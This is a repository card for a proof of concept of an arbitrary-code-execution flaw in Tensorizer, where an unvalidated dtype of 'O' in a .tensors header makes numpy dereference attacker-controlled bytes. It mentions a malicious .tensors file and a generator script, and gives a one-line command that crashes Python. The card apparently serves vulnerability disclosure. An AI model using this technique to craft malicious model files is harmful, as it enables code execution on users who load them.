You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Tensorizer Object Dtype RCE PoC

Demonstrates arbitrary code execution via object dtype injection in Tensorizer .tensors files.

Vulnerability

Tensorizer reads the dtype string from the .tensors file header without validation and passes it to numpy.ndarray.__new__(numpy.memmap, ...). Setting dtype to "O" (Python object) causes numpy to interpret raw buffer bytes as PyObject* pointers. Accessing any element dereferences attacker-controlled memory → SEGFAULT / RCE.

Key: numpy.frombuffer() blocks this with "cannot create an OBJECT array from memory buffer", but numpy.ndarray.__new__() used by Tensorizer does NOT.

Files

poc_object_dtype.tensors — Malicious .tensors file with dtype="O"
poc_object_dtype.py — Generator script with standalone verification

Reproduce

pip install tensorizer torch numpy
python poc_object_dtype.py

# Standalone crash verification (no tensorizer needed):
python3 -c "import numpy as np; buf=bytearray(b'\x41'*64); arr=np.ndarray.__new__(np.memmap,(8,),dtype='O',buffer=buf); print(arr[0])"
# Expected: Exit code 139 (SIGSEGV)

license: mit

Downloads last month: -; Downloads are not tracked for this model. How to track

Inference Providers NEW

This model isn't deployed by any Inference Provider. 🙋 Ask for provider support